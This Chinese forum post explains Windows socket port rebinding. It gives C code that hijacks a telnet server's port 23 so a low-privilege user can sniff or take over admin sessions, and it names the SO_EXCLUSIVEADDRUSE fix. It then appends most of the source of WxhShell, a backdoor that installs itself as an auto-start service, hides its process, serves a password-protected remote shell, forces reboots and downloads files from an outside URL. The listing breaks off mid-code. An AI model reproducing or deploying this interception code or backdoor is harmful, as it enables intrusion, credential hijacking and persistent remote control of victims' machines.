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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gk}.L E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [B^V{nUBc  
&Z}}9dd  
  saddr.sin_family = AF_INET; M=fhRCUB  
('`mPD,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~(L&*/c  
*c( J4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s]HJcgI  
+O1=Ao  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Va4AE)[/*  
x}f)P  
  这意味着什么?意味着可以进行如下的攻击: KfSbm?  
qL$\[(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !95Q4WH-@  
3W[Ps?G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8SBa w'a  
)7m.n%B!5V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KhPDXY]!  
%+dRjG~TB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6|Crc$4l  
"Z"`X3,-z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  "2 }n(8  
Q@s G6 iz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZC&~InN  
/AIFgsaY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ; X/'ujg  
:FixLr!q  
  #include 618bbftx{  
  #include :io~{a#.2\  
  #include t&C0V|s79$  
  #include    m xy=3cUi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r3YfY \  
  int main() QaOF l` i  
  { 1 y7$"N8Xo  
  WORD wVersionRequested; _Ry  
  DWORD ret; @iVEnb.'  
  WSADATA wsaData; ZO\bCrk  
  BOOL val; (DM8PtZg  
  SOCKADDR_IN saddr; d 8z9_C-  
  SOCKADDR_IN scaddr; L @8[.  
  int err; c- [IgX e  
  SOCKET s; WWA!_  
  SOCKET sc; )IuwI#pm  
  int caddsize; Lf,C5 0  
  HANDLE mt; 3UcOpq2i\  
  DWORD tid;   UvGX+M,z'  
  wVersionRequested = MAKEWORD( 2, 2 ); CasFj9,  
  err = WSAStartup( wVersionRequested, &wsaData ); ,*wj~NE  
  if ( err != 0 ) { jG^OF5.  
  printf("error!WSAStartup failed!\n"); O.?q8T)n82  
  return -1; ]Wc 2$  
  } Bs-MoT!  
  saddr.sin_family = AF_INET; Z.0mX#  
   *L5L.: Ze  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )<L?3Jjt5  
e pAC%a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %U$%x  
  saddr.sin_port = htons(23); &wB?ks  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \'x?VVw  
  { <gSZ<T  
  printf("error!socket failed!\n"); %[m%QP1;p  
  return -1; g@S?5S.Av  
  } x{{ZV]  
  val = TRUE; v?4MndR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -KCQ!0\F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f>+:UGmP  
  { Oc^bbC  
  printf("error!setsockopt failed!\n"); 5?MKx!%  
  return -1; #]Q.B\\  
  } y7#vH<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qC YXkZ%`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 12yX`9h>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $g)X,iQu  
E9S&UU,K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Y=?~!,Jk  
  { n5 jzVv  
  ret=GetLastError(); Gw Z(3  
  printf("error!bind failed!\n"); s& WHKCb  
  return -1; )V*V  
  } .cm$*>LW:x  
  listen(s,2); m_1BB$lyP2  
  while(1) gR) )K)  
  { W RVm^  
  caddsize = sizeof(scaddr); xn 4-^2  
  //接受连接请求 5J<ghv>\P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R>. %0%iq  
  if(sc!=INVALID_SOCKET) ~@bh[o~rF  
  { "# BI"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k M' :.QT  
  if(mt==NULL) ].<B:]:,  
  { ]Syr{|  
  printf("Thread Creat Failed!\n"); F]~>qt<ia  
  break; m%km@G$  
  } O9]+Jd4W  
  } V3$Yr"rZ;  
  CloseHandle(mt); -V)DKf"f  
  } |Ptv)D  
  closesocket(s); KPSHBv-#  
  WSACleanup(); Qtpw0t"  
  return 0; 8z h{?0  
  }   BSB;0OM  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2bk~6Osp  
  { F"Y.'my8  
  SOCKET ss = (SOCKET)lpParam; `aW>h8$I)  
  SOCKET sc; &I$MV5)u  
  unsigned char buf[4096]; !nkjp[p  
  SOCKADDR_IN saddr; "?UBW5nM#  
  long num; N8^ AH8l  
  DWORD val; xMu[#\Vc  
  DWORD ret; Q5H! ^RQm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .v{ok,&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CQx#Xp>=s  
  saddr.sin_family = AF_INET; 9c@."O`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]l WEdf+  
  saddr.sin_port = htons(23); D-tm'APq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x2bKFJ>e@  
  { 0qj:v"~Q  
  printf("error!socket failed!\n"); cn$o$:tW  
  return -1; Nf<mgOAT1  
  } S'Hb5C2u  
  val = 100; 9Q~9C9{+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >UUcKq1M:  
  {  ZA u=m  
  ret = GetLastError(); 64)Fz}  
  return -1; ,buSU~c_Q  
  } a.n;ika]-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WrA!'I  
  { SdOa#U)  
  ret = GetLastError(); lO (MF  
  return -1; j20/Q)=h  
  } uPVM>xf>w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [y(DtOR  
  { WpPm|h  
  printf("error!socket connect failed!\n"); #\|Ac*>  
  closesocket(sc); ($Cy-p  
  closesocket(ss); ~4 ~c+^PF  
  return -1; f9" M^i  
  } bW]7$?acv  
  while(1) v r=va5  
  { ~XzT~WxW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _d|CO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'n:|D7t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CIxa" MW  
  num = recv(ss,buf,4096,0); yQT cO^E  
  if(num>0) ?/M:  
  send(sc,buf,num,0); O$qxo &  
  else if(num==0) .wU0F  
  break; B(pxyv)  
  num = recv(sc,buf,4096,0); N)I9NM[  
  if(num>0) 3WVH8Sb  
  send(ss,buf,num,0); Q9yIQ{>H[  
  else if(num==0) ty"|yA  
  break; (#&-ld6  
  } &RJ*DAmL  
  closesocket(ss); LD=eMk: ~  
  closesocket(sc); i/C`]1R/  
  return 0 ; ,QeJ;U  
  } K2XRKoG  
w4nU86oZYl  
X[ 6#J  
========================================================== 5}3#l/  
!*?|*\B^I  
下边附上一个代码,,WXhSHELL 4'+g/i1S F  
YE*%Y["  
========================================================== 9\zasa  
K7 J RCLA  
#include "stdafx.h" tD~ n PbbB  
vg-Ah6BC{  
#include <stdio.h> ;p(I0X  
#include <string.h> EED0U?  
#include <windows.h> 33=lR-N#  
#include <winsock2.h> [n2+`A  
#include <winsvc.h> S4_C8  
#include <urlmon.h> mo?*nO|-  
fTOGW`s^  
#pragma comment (lib, "Ws2_32.lib") )ZW[$:wA  
#pragma comment (lib, "urlmon.lib") /fSsh;F  
yPd6{% w  
#define MAX_USER   100 // 最大客户端连接数 Op'&c0l  
#define BUF_SOCK   200 // sock buffer '8yCwk  
#define KEY_BUFF   255 // 输入 buffer ${h1(ec8  
i91 =h   
#define REBOOT     0   // 重启 hm\UqIt  
#define SHUTDOWN   1   // 关机 &z]x\4#,  
(KLhF  
#define DEF_PORT   5000 // 监听端口 ~n~j2OE  
Ygbyia|  
#define REG_LEN     16   // 注册表键长度 [v+5|twxpU  
#define SVC_LEN     80   // NT服务名长度 Eq?U$eE  
aXyFpGdb9  
// 从dll定义API LVNA`|>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xHD$0eq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8og8;#mnyr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <])]1r8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x*sDp3f[*  
-@tj0OHg  
// wxhshell配置信息 *3KSOcQ  
struct WSCFG { [}=a6Q>)  
  int ws_port;         // 监听端口 Yr*!T= z  
  char ws_passstr[REG_LEN]; // 口令 95E #  
  int ws_autoins;       // 安装标记, 1=yes 0=no z1^3~U$}  
  char ws_regname[REG_LEN]; // 注册表键名 PfsUe,*  
  char ws_svcname[REG_LEN]; // 服务名 AQ?;UDqU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y=aWSb2y'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >"+ ho  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t2iQ[`/?~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kTcW=AXu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |)C #  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I+F >^4_d  
ck b(+*+l  
}; !9{hbmF#  
qj/Zk [  
// default Wxhshell configuration 2q(gWhcj  
struct WSCFG wscfg={DEF_PORT, FUXJy{n6"2  
    "xuhuanlingzhe", WD_{bd)  
    1, 'd|!Hr<2  
    "Wxhshell", dC;&X g`  
    "Wxhshell", 2+/r~LwbK  
            "WxhShell Service", m] yUcj{F  
    "Wrsky Windows CmdShell Service", Eyz.^)r  
    "Please Input Your Password: ", `-e9#diQe  
  1, !x:{"  
  "http://www.wrsky.com/wxhshell.exe", 6oq5CDoq  
  "Wxhshell.exe" ~BqC!v.)@E  
    }; >9mj/P D  
Fe %Vp/  
// 消息定义模块 4x<H=CJC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y<jX[ET!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +!W:gA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XdmpfUR,13  
char *msg_ws_ext="\n\rExit."; `zrg?  
char *msg_ws_end="\n\rQuit."; Hj(K*z  
char *msg_ws_boot="\n\rReboot..."; ?0M$p  
char *msg_ws_poff="\n\rShutdown..."; d#XgO5eyO  
char *msg_ws_down="\n\rSave to "; 9Zj3"v+b  
IN@o9pUjV  
char *msg_ws_err="\n\rErr!"; 4JU 2x  
char *msg_ws_ok="\n\rOK!"; 7M _ mR Vh  
%6%mf>Guf  
char ExeFile[MAX_PATH]; "G~!J\  
int nUser = 0; ^pH8'^n  
HANDLE handles[MAX_USER]; EADN   
int OsIsNt; ul~6zBKO   
2@lGY_O!m  
SERVICE_STATUS       serviceStatus; c~~4eia)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w;{Q)_A  
.%)uCLZr$  
// 函数声明 1pg#@h[|t  
int Install(void); `)5WA{z  
int Uninstall(void); =.CiKV$E  
int DownloadFile(char *sURL, SOCKET wsh); |OAM;@jH  
int Boot(int flag); qjhk#\y  
void HideProc(void); Woj5 yr  
int GetOsVer(void); & !ds#-  
int Wxhshell(SOCKET wsl); i NfAn&  
void TalkWithClient(void *cs); b9#(I~}  
int CmdShell(SOCKET sock); kW2DKr-[  
int StartFromService(void); RD"-(T  
int StartWxhshell(LPSTR lpCmdLine); }:{9!RMO  
S5u$I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6WT3-@d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZfX$q\7  
M49l2x=]9  
// 数据结构和表定义 hSw=Oq82  
SERVICE_TABLE_ENTRY DispatchTable[] = d5>&, {o7N  
{ |hw.nY]J  
{wscfg.ws_svcname, NTServiceMain}, qbD 7\%  
{NULL, NULL} gSw4\R  
}; U;WwEta ]  
q`/J2r+O  
// 自我安装 8U(o@1PT  
int Install(void) tuIZYp8tIN  
{ ,pI9=e@O/z  
  char svExeFile[MAX_PATH]; ohq Thl  
  HKEY key; $l"%o9ICG  
  strcpy(svExeFile,ExeFile); I=#`8deH(  
"FA. T7G  
// 如果是win9x系统,修改注册表设为自启动 YPI,u7-  
if(!OsIsNt) { 2/r8% Sq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {icTfPR4E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ObEz0Rj  
  RegCloseKey(key); Ad>81=Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o ?vGI=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  |@'O3KA  
  RegCloseKey(key); r9&m^,U  
  return 0; x1#>"z7  
    } Rr %x;-  
  } O 1z0dHa  
} z/xPI)R[  
else { xmcZN3 ){+  
1J"9Y81   
// 如果是NT以上系统,安装为系统服务 5[SwF& zZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hI!BX};+}  
if (schSCManager!=0) ').) 0;  
{ [z2UfHpt~  
  SC_HANDLE schService = CreateService ]$Z:^" JS3  
  ( H( i   
  schSCManager, aqI"4v]~b  
  wscfg.ws_svcname, iOURS  
  wscfg.ws_svcdisp, RSym9t90t  
  SERVICE_ALL_ACCESS, Lcpe*C x-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ? /z[Jx.  
  SERVICE_AUTO_START, vHpw?(]  
  SERVICE_ERROR_NORMAL, )e?&'wa>  
  svExeFile, 5\bGCf  
  NULL, g) oOravV  
  NULL, Mz6(M,hkq  
  NULL, 6EyPZ{  
  NULL, ZK^cG'^2|  
  NULL &}k7iaO  
  ); &R<aRE:+R  
  if (schService!=0) @!f4>iUy  
  { NgGMsE\C}  
  CloseServiceHandle(schService); q%d G>!  
  CloseServiceHandle(schSCManager);   < v]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p 4> ThpX  
  strcat(svExeFile,wscfg.ws_svcname); 70c]|5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lJu^Bcrv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2r!ltG3}  
  RegCloseKey(key); ? x #K:a?  
  return 0; ~< bpdI0  
    } H\ejW@< ;h  
  } mfQ#n!{ZH  
  CloseServiceHandle(schSCManager); vNGE]+QX  
} edp I?  
} VjM3M<!g>M  
jn V=giBu  
return 1; B]"`}jn  
} ^_bG{du  
aP  
// 自我卸载 t Y  
int Uninstall(void) V[nPTYO4  
{ g;63$_<  
  HKEY key; T(7`$<TQ  
w I_@  
if(!OsIsNt) { QE(.w dHP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mgjJNzclL  
  RegDeleteValue(key,wscfg.ws_regname); b]4dmc*N+  
  RegCloseKey(key); ^r\ rpSN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pd'0|  
  RegDeleteValue(key,wscfg.ws_regname); K4!-%d$  
  RegCloseKey(key); a'i Q("  
  return 0; 0!|d .jZI  
  } 0 jth}\9  
} /]TNEU,K  
} &ry*~"xoh  
else { neI7VbH4  
|qUGB.Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J;0;oXwJ<  
if (schSCManager!=0) ~ 1h#  
{ [b3!H{b#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^}=)jLS  
  if (schService!=0) y d 97ys  
  { `-L?x2)U  
  if(DeleteService(schService)!=0) { dM-cQo:  
  CloseServiceHandle(schService); 1(?4*v@B  
  CloseServiceHandle(schSCManager); .zO2g8(VR  
  return 0; c1'@_Is  
  } X,|8Wpi=  
  CloseServiceHandle(schService); N6y9'LGG`  
  } C$y6^/7)  
  CloseServiceHandle(schSCManager); YvU%OO-+,  
} cJ96{+  
} p`Pa;=L  
~$HB}/  
return 1; Y_'ERqQ  
} n N<N~  
t/i I!}  
// 从指定url下载文件 gpV4qDXV  
int DownloadFile(char *sURL, SOCKET wsh) EjR(AqZY  
{ Uk?G1]$mL  
  HRESULT hr; uYUFxm  
char seps[]= "/"; XQ]K,# i  
char *token; Yr9'2.%Q  
char *file; y *i&p4Y*  
char myURL[MAX_PATH]; 2zBk#c+  
char myFILE[MAX_PATH]; J6Z[c*W  
2Xt4Rqk$  
strcpy(myURL,sURL); u;`]U$Qq9  
  token=strtok(myURL,seps); bWswF<y-  
  while(token!=NULL) &uNec( c  
  { _ .vG)  
    file=token; } !m43x/&  
  token=strtok(NULL,seps); o^"+X7)  
  }  q#K{~:  
-N45ni87  
GetCurrentDirectory(MAX_PATH,myFILE); w+br)  
strcat(myFILE, "\\"); 5p0~AN)  
strcat(myFILE, file); )0"Q h  
  send(wsh,myFILE,strlen(myFILE),0); d6luksO*9  
send(wsh,"...",3,0); hhTtxC<:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E=sh^Q(A  
  if(hr==S_OK) TjW!-s?S  
return 0; `fBQ?[05.  
else f@OH~4FG  
return 1; o7) y~ ke  
)(}[S:`  
} -H-U8/WC  
sl'4AK~\  
// 系统电源模块 hg)Xr5>  
int Boot(int flag) HXLnjXoe  
{ NdXHpq;  
  HANDLE hToken; \]ib%,:YU  
  TOKEN_PRIVILEGES tkp; |a(KVo  
`0d 0T~  
  if(OsIsNt) { Oyl~j #h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HsCL%$k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t 7Q$  
    tkp.PrivilegeCount = 1; b fxE}>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z74JyY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'n &p5%  
if(flag==REBOOT) { &;BhL%)}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QK-aH1r  
  return 0; VI! \+A  
} $S6(V}yh  
else { S <mZs;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )PYPlSQ*V  
  return 0; {]CZgqE{  
} H=/1d.p  
  } NFT:$>83`  
  else { {wS i?;[Gq  
if(flag==REBOOT) { FnGKt\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BtJkvg(2]  
  return 0; !wYN",R-  
} CsR[@&n'  
else { +t7HlAXB#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gwj?.7N*k  
  return 0; <a R  
} :5kDc" =Z|  
} vl (``5{  
_H| )g*]t  
return 1; 5_^d3LOT0x  
} rZUTBLZ`j  
4 ]oe`yx  
// win9x进程隐藏模块 !)M}(I}  
void HideProc(void) lxn/97rA  
{ gwaSgV$z  
A}(xH`A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rJ /HIda  
  if ( hKernel != NULL ) Ar%*NxX  
  { Au2^ T1F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V9[_aP;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w,1N ;R&  
    FreeLibrary(hKernel); o[;P@F  
  } 49"C'n0wST  
-x ?Z2EA!  
return; rfDGS%!O%  
} )Kx.v'  
".jO2GO^  
// 获取操作系统版本 4K cEJlK5  
int GetOsVer(void) Q<>u) %92@  
{ AO<T6 VK  
  OSVERSIONINFO winfo; (j>`+F5f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O72g'qFPE  
  GetVersionEx(&winfo); jTwSyW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Fjasz5E'  
  return 1; tM LiG4 |7  
  else \d:Q%S  
  return 0; ?g1eW q&  
} ^E%R5JN  
%@QxU-k_  
// 客户端句柄模块 B1X&O d  
int Wxhshell(SOCKET wsl) b GSj?t9/  
{ ^Zl[#:EFP  
  SOCKET wsh; o?]Q&,tO  
  struct sockaddr_in client; D[^K0<-Z  
  DWORD myID; 6$#,$aO  
+;+G+Tn  
  while(nUser<MAX_USER) &._"rhz  
{ G=qlE?j`j  
  int nSize=sizeof(client); FqyxvL.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,{IDf  
  if(wsh==INVALID_SOCKET) return 1; :X":>M;;+  
S^R dj ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WG,Il/  
if(handles[nUser]==0) Q'U!  
  closesocket(wsh); gZHgL7@  
else $\/i t  
  nUser++; +PPQ"#1pS  
  } }^I36$\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); USART}Us4  
jR\pYRK  
  return 0; ,'C*?mms  
} [vI ;A !  
9@qkj 4w  
// 关闭 socket &CRgi488b  
void CloseIt(SOCKET wsh) o0AT&<K  
{ +M.BMS2A<l  
closesocket(wsh); 86LE )z  
nUser--; 5XT^K)'  
ExitThread(0); O<fy^[r:`  
} ]9_tto!/  
1.%|Er 4  
// 客户端请求句柄 S/Ic=  
void TalkWithClient(void *cs) "E<+idoz  
{ BZLIi O  
]@y%j'e  
  SOCKET wsh=(SOCKET)cs; it{Jd\/hR  
  char pwd[SVC_LEN]; BN&)5M?Xt6  
  char cmd[KEY_BUFF]; -[N9"Z,  
char chr[1]; /IcGJ&;  
int i,j; :tbI=NDb  
I[rR-4.F]  
  while (nUser < MAX_USER) { X<_HQ  
N, u]2,E  
if(wscfg.ws_passstr) { 6yYjZ<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?!m\|'s-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S~r75] "  
  //ZeroMemory(pwd,KEY_BUFF); ta5_k&3N  
      i=0; YXTV$A+lW  
  while(i<SVC_LEN) { m|B)A"Sm  
YeT{<9p  
  // 设置超时 C ]B P}MY<  
  fd_set FdRead; vr"Pr4z4i  
  struct timeval TimeOut; a:GM|X  
  FD_ZERO(&FdRead); B T}l"  
  FD_SET(wsh,&FdRead); UM0Ws|qx&  
  TimeOut.tv_sec=8; vC1fKo\p  
  TimeOut.tv_usec=0; *BrGh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GwXhn2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5"G-r._  
tz?3R#rM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iEI#J!~  
  pwd=chr[0]; FS)# v  
  if(chr[0]==0xd || chr[0]==0xa) { :!cK?H$+  
  pwd=0; fp(zd;BSQ  
  break; H_XspiB@  
  } PepR ]ym  
  i++; gREk,4DAv  
    } g - !  
cGm?F,/`  
  // 如果是非法用户,关闭 socket %${$P+a`D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /Q)I5sL@E  
} }&L%c>  
8G$BQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <L*`WO]\l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nw9:Gi  
UpD4'!<buV  
while(1) { :J @3:+sr  
`#W+pO  
  ZeroMemory(cmd,KEY_BUFF); I YtiX  
$8(QBZq  
      // 自动支持客户端 telnet标准   a_0I)' ?  
  j=0; w2s06`g  
  while(j<KEY_BUFF) { x8C\&ivn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fD(r/~Vu  
  cmd[j]=chr[0]; x%k@&d;z  
  if(chr[0]==0xa || chr[0]==0xd) { P RUl-v  
  cmd[j]=0; %rhZH^2  
  break; iF +@aA  
  } }=\?]9`  
  j++; CV=qcD  
    } f|_\GVW  
WK?5`|1l:x  
  // 下载文件 3O-vO=D  
  if(strstr(cmd,"http://")) { nql9SQ'\\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oR~d<^z(  
  if(DownloadFile(cmd,wsh)) K/Pw;{}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h*40jZ  
  else YL!{oHs4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' =5B   
  } sm Ql^ 6a  
  else { A15Kj#Oy  
LjGZp"&{  
    switch(cmd[0]) { 1,h:|  
  X=1o$:7  
  // 帮助 N2HD=[*cr  
  case '?': { __7}4mA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .hG*mXw>  
    break; )qMbk7:v\  
  } opm_|0  
  // 安装 jDQ?b\^  
  case 'i': { - G/qfd|s/  
    if(Install()) Fx.Ly]L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_!p({  
    else ?ZGsh7<k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /W*Z.  
    break; J;^PM:6  
    } %GY'pQz  
  // 卸载 })70S8k  
  case 'r': { [[^95:  
    if(Uninstall()) :] U\{;q2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,YvOk|@R  
    else /i27F2NQm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nc4;2~XwRp  
    break; h/|p`MP\1  
    } Pf,@U'f|  
  // 显示 wxhshell 所在路径 ^vT!24sK  
  case 'p': { 1,) yEeHjU  
    char svExeFile[MAX_PATH]; 8TAJ#Lm  
    strcpy(svExeFile,"\n\r"); <B0 f  
      strcat(svExeFile,ExeFile); 6hd<ys?  
        send(wsh,svExeFile,strlen(svExeFile),0); 3+uL@LXd  
    break; F xm:m  
    } ILAn2W  
  // 重启 a,S;JF)v  
  case 'b': { 2'-"&d+ O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d,l?{ Ln  
    if(Boot(REBOOT)) u<cnz% @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,G}i:7  
    else { [(3s5)O  
    closesocket(wsh); IKP GqoM  
    ExitThread(0); S:}"gwFM  
    } 9NU0K2S  
    break; m#8[")a$"  
    } MA:5'n  
  // 关机 7`A]X,:  
  case 'd': { 6uo;4}0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K6-M.I  
    if(Boot(SHUTDOWN)) [H <TcT8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VSDua.  
